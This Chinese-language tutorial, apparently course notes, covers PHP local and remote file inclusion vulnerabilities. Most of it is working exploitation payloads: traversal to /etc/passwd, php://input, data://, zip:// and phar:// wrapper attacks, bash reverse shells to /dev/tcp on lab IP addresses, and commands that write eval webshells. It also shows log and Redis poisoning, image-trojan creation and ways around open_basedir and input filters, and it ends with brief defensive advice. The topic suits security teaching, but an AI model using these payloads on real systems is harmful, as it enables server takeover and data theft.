文件包含漏洞
一、文件包含漏洞概述
概述
文件包含漏洞(File Inclusion Vulnerability)属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制包含文件路径的点,那么则很有可能包含非预期文件,从而执行非预期的代码导致getshell。
几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP居多,在JSP、ASP中十分少甚至没有,问题在于语言设计的弊端。
文件包含业务场景
- 在代码复用时场景,经常使用到文件包含技术;
- 项目需要热更新的场景也可以使用文件包含技术;
- 在编写一些框架代码时会使用到文件包含技术;
文件包含漏洞分类
PHP中的文件包含分为本地文件包含和远程文件包含。
本地文件包含 LFI
本地文件包含 Local File Include (LFI)
所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行,如果没有,就会以纯文本形式显示文件中的内容;
远程文件包含 RFI
远程文件包含 Remote File Include (RFI)
远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。
PHP文件相关配置
需要修改/opt/lampp/etc/php.ini,注意需要重启lampp服务器
allow_url_fopen=On (默认开启) 本地包含
allow_url_include=On (默认为Off) 远程包含
文件包含漏洞危害
- 文件上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、可执行程序等。
- 如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
- 如果攻击者通过其他漏洞进行提权操纵,拿到系统管理权限,那么直接导致服务器沦陷。
- 同服务器下的其他网站无一幸免,均会被攻击者控制。
二、文件包含语法
PHP页面
<?php
$file=$_GET['file'];
include($file);
?>
常用文件包含
本地文件包含 - PHP文件
http://www.dlrb.com/news/admin/home.php?page=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.jpg
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.txt
目录穿越 目录飞跃
http://www.dlrb.com/news/admin/home.php?page=../../../../../../../../../../etc/passwd
本地包含 - 传递参数
本地包含传递参数需要使用&来传递
https://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.php&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.txt&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?cmd=phpinfo();&page=/opt/lampp/htdocs/news/upload/abc.txt
远程包含 - 其他文件
其他文件是将其他文件中的文本拿到靶机上解析运行
php是在攻击者服务器运行在导入到靶机
不要远程包含php文件。
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/shell.jpg
远程包含 - 传递参数
远程PHP文件携带参数时必须使用?来传递参数
其他文件需要使用&来传递参数
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt&cmd=phpinfo();
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.php?cmd=phpinfo();
三、文件包含的高级利用
伪协议
PHP伪协议是指可以通过 PHP 脚本来访问的协议,它允许通过 PHP 脚本来处理数据流,而不是通过文件系统去访问真实的文件。这种协议常常用于处理内存中的数据或者其他来源的数据流。
file : 本地文件
http : 远程文件
ftp : ftp服务器上的文件
input: 只读流
php : 输入输出流
zlib : 压缩流
data : 数据流
glob : 查找匹配的文件路径模式
phar : php归档
ssh2 : Secure Shell 2
rar : RAR压缩
ogg : 音频流
expect : 处理交互式的流
伪协议使用
php://input()
将用户输入的内容直接显示在页面中。并且输入的内容中包含php代码的情况,php代码会被执行。
php://input 可以访问请求的原始数据的只读流,将POST请求的数据当作PHP代码执行。
前提:需要开启allow_url_include=On,对 allow_url_fopen 不做要求
建议,发包,抓包在包中更改post传参
payload
http://www.dlrb.com/wowo/index.php?file=php://input
Post DATA
<?php phpinfo();?>
<?php echo `bash -i >& /dev/tcp/192.168.88.136/8888 0>&1`; ?>
<?php echo system("bash -i >& /dev/tcp/192.168.88.222/9001 0>&1"); ?>
<?php echo shell_exec("ls"); ?>
php://filter(文件读取)
php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码(base64)让其不执行。从而导致任意文件读取。
前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include 不做要求。
payload
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=home.php
http://www.dlrb.com/news/admin/home.php?page=php://filter/read=convert.base64-encode/resource=home.php
zip://
zip://可以访问压缩文件中的文件,且只能读取第一层文件夹下文件,并把读取后的内容进行解析。如果文件内容中包含php代码则会执行该php代码。
前提:使用zip协议,需要使用绝对路径,需要#把压缩文件路径和压缩文件的子文件名隔开,并且要将#编码为%23,所以需要PHP的版本>=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23
1. 创建带有危险文件的压缩文件
zip -r lyf.zip shell.txt
注意 没有 zip 则需要下载 yum install -y zip
2. 将压缩包上传到靶机可访问目录
3. payload
http://www.dlrb.com/wowo/index.php?file=zip:///opt/lampp/htdocs/wowo/lyf.zip%23shell.txt&cmd=phpinfo();
phar://
与zip://协议类似但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用 / 把压缩文件路径和压缩文件的子文件名隔开。
前提:PHP的版本>=5.3.0
1. 创建带有危险文件的压缩文件
zip -r lyf.zip shell.txt
注意 没有 zip 则需要下载 yum install -y zip
2. 将压缩包上传到靶机可访问目录
3. payload
http://www.dlrb.com/wowo/index.php?file=phar:///opt/lampp/htdocs/wowo/lyf.zip/shell.txt&cmd=phpinfo();
data://
data://伪协议和php伪协议的input类似,也可以将用户输入的内容直接显示在页面中。并且输入的内容中包含php代码的情况,php代码会被执行。
前提:PHP的版本>=5.2,并且allow_url_fopen参数与allow_url_include都需开启
payload
http://www.dlrb.com/wowo/index.php?file=data://,<?php phpinfo();?>
http://www.dlrb.com/wowo/index.php?file=data://,福报 <?php phpinfo();?>
http://www.dlrb.com/wowo/index.php?file=data://,福报反弹 <?php echo system("bash -i >%26 /dev/tcp/192.168.88.136/8888 0>%261"); ?>
注意 & 需要编码 不然理解为传参 & -> %26
http://www.dlrb.com/wowo/index.php?file=data:text/plan,文件包含成功<?php phpinfo();?>
getshel
http://www.dlrb.com/wowo/index.php?file=data:text/plan,sys.php文件写入成功<?php file_put_contents("/opt/lampp/htdocs/woniu/uploads/sys.php",'<?php @eval(@$_REQUEST["cmd"]);?>');?>
file://
file://用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
前提:包含的文件要文件的绝对路径
payload
http://www.dlrb.com/wowo/index.php?file=file:///etc/passwd
四、文件包含灵活应用
文件包含灵活应用的点 LFI
日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的PHP代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。ssh apache mysql tomcat 。。。
SSH日志应用
使用ssh连接ip地址将恶意代码注入日志中,然后可包含该日志文件。 默认情况下为/var/log/secure,注意需要给该文件添加权限
1. 攻击者 利用恶意代码构建 SSH 登录靶机
ssh "<?php phpinfo();?>"@靶机IP地址
或者
ssh 靶机IP地址 -l "<?php phpinfo();?>"
注意 写没有权限问题读的时候有,常用于留后门
2. payload
http://www.dlrb.com/wowo/index.php?file=/var/log/secure
Apache日志应用
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access_log,当发生错误时将错误写入error_log。默认情况下,日志保存路径在 /opt/lampp/logs,日志文件需要授予读取权限
1. Apache日志应用 开启 Yakit
2. 在任意请求访问地址 中携带 <?php phpinfo();?>
3. 拦包 将被转码的 %3C?php%20phpinfo();?%3E 的 < > 变回原来的样子 %20 变为正常的空格
4. 文件包含 access_log 的绝对路径
http://www.dlrb.com/wowo/index.php?file=/opt/lampp/logs/access_log
MySQL日志应用
前提:my.ini 中开启日志,日志保存路径在 /opt/lampp/logs,日志文件 mysql.log,日志文件需要授予读取权限
1. 找到登录 注册 等用户可以参与输入的点
2. 我们想让他报错 不容易,想成功很容易
3. username "<?php phpinfo();?>" password "123123"
select * from users where username = "<?php phpinfo();?>" and password="123123";
4. 只要成功表示我们的恶意代码注入成功
5. payload
http://www.dlrb.com/wowo/index.php?file=/opt/lampp/logs/mysql.log
Redis持久化文件应用
需要连接到靶机的Redis,可以对他进行持久化修改,指定目录有写入权限
1. 连接靶机的 Redis
2. 确定其持久化文件目录 如果你有读的权限就不需要改 建议修改 /tmp
config get dir 查看
config set dir /tmp
3. 查看 持久化文件名称 dump.rdb 不建议修改
config get dbfilename 查看
config set dbfilename rd.rdb
4. 设置键值对
set hacker " <?php phpinfo();?> "
5. 进行redis持久化
save
6. payload
http://www.dlrb.com/wowo/index.php?file=/tmp/lyf.txt
图片木马应用
一般情况下在业务系统中都会有图片上传功能,我们利用图片上传功能将图片马上传到目标服务器即可。例:头像上传、导入数据、上传banner、上传商品图片等等。
图片上传后通过php报错可以拿到apache的绝对路径,而图片上传成功后一般会回示这张图片可以拿到图片的相对路径,拿到的绝对路径和图片相对路径拼接在一起变成图片的绝对路径。从而使用文件包含来利用图片马。
1. 制作图片木马
Widnows: copy /b 图片文件.png + 木马文件.php
Linux: cat 木马文件.php >> 图片文件.png
2. 制作的图片可能不被识别 里面包含了很多很多很多乱七八糟的代码 有可能就被PHP所识别且报错
3. 建议直接修改一句话木马的扩展名
4. payload
http://www.dlrb.com/wowo/index.php?file=/opt/lampp/htdocs/woniu/uploads/abc.jpg
Post data
cmd=phpinfo();
五、文件包含防御与绕过
限制访问路径
open_basedir 是php.ini中的一个配置选项。可以用作与用户访问文件的活动范围限制在指定的区域,假设 open_basedir=/opt/lampp/htdocs/woniu:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/opt/lampp/htdocs/woniu和/tmp 这两个目录以外的文件
payload1 悖论
系统级别的命令 无法拦截
shell_exec exec system ``
payload2
smlink() 函数创建一个从指定名称连接的现存目标文件开始的符号连接 软链接
步骤一 创建一个文件 sys.txt 上传到指定目录 我们一般是在攻击者服务器操作
symlink("A/B/C/D/E/F/G","dlrb");
symlink("dlrb/../../../../../etc/passwd","exp");
unlink("dlrb");
mkdir("dlrb");
步骤二 靶机将文件包含
http://www.dlrb.com/wowo/index.php?file=/opt/lampp/htdocs/wowo/sys.txt
要是远程需要支持远程包含
http://www.dlrb.com/wowo/index.php?file=http://www.lyf.com/attack/sys.txt
步骤三 靶机访问 exp
http://www.dlrb.com/wowo/exp
注意
pyload2构造的注意点是:要读的文件需要往前跨多少路径,就得创建多少层的子目录。然后输入多少个 ../来设置目标文件。
过滤输入
过滤.(点)/(正斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../。
1. ./ 替换成 url_waf
2. ../ 替换成 url_waf
3. etc passwd tmp ... 替换成 url_waf
$file = str_replace("./","url_waf",$file);
$file = str_replace("../","url_waf",$file);
$file = str_replace( "tmp","url_waf",$file);
$file = str_replace( "etc","url_waf",$file);
$file = str_replace( "passwd","url_waf",$file);
除了PHP外可以使用 URL 编码绕过
./ 的编码为:%2e%2f
../ 的编码为:%2e%2e%2f
..\ 的编码为:%2e%2e%5c
配置前缀
使用文件绝对路径进行拼接过滤
$file = @$_GET['file'];
include("/opt/lampp/htdocs/wowo/" . $file);
payload
http://www.dlrb.com/wowo/index.php?file=../../../../../../../../../../../../../etc/passwd
配置后缀
使用文件后缀作为过滤
$file = @$_GET['file'];
include($file . ".jpg");
payload
首先你需要熟知 后缀名
1. 想加载的文件扩展名与配置的一致,本地远程都可以
图片马包含 <?php file_put_contents("shell.php",'<?php @eval(@$_REQUEST["cmd"]);?>');?>
http://www.dlrb.com/wowo/index.php?file=http://www.lyf.com/attack/img/security-20241017104142
2. 上线木马即可 如果是图片包含一句话木马 可能会到导致 一句话木马参数无法传递 主要是无法使用 & 可尝试换成 ?
3. phar绕过
http://www.dlrb.com/woniu/test.php?file=phar:///opt/lampp/htdocs/woniu/aaa.zip/abc
配置前缀 + 后缀
使用文件绝对路径 + 文件后缀作为过滤
include "/opt/lampp/htdocs/woniu/" . $file . ".jpg";
payload 上传指定图片马
http://www.dlrb.com/woniu/test.php?file=shell
拼接 /opt/lampp/htdocs/woniu/shell.jpg
防御建议
关闭高危配置
PHP文件配置allow_url_include和allow_url_fopen最小权限化。
文件白名单
对需要包含的文件设置文件白名单,包含文件的验证。
$file = @$_GET['file'];
$file_w = ["index","show","edit","about"];
// 验证所请求的页面是否存在,存在则包含该页面,不存在则返回404页面。
if (in_array($file, $file_w)) {
include("/opt/lampp/htdocs/woniu/admin/". $file. '.php');
} else {
echo 'Page not found!';
}
避免参数
尽量不要使用动态包含,可以在需要包含的页面固定写好。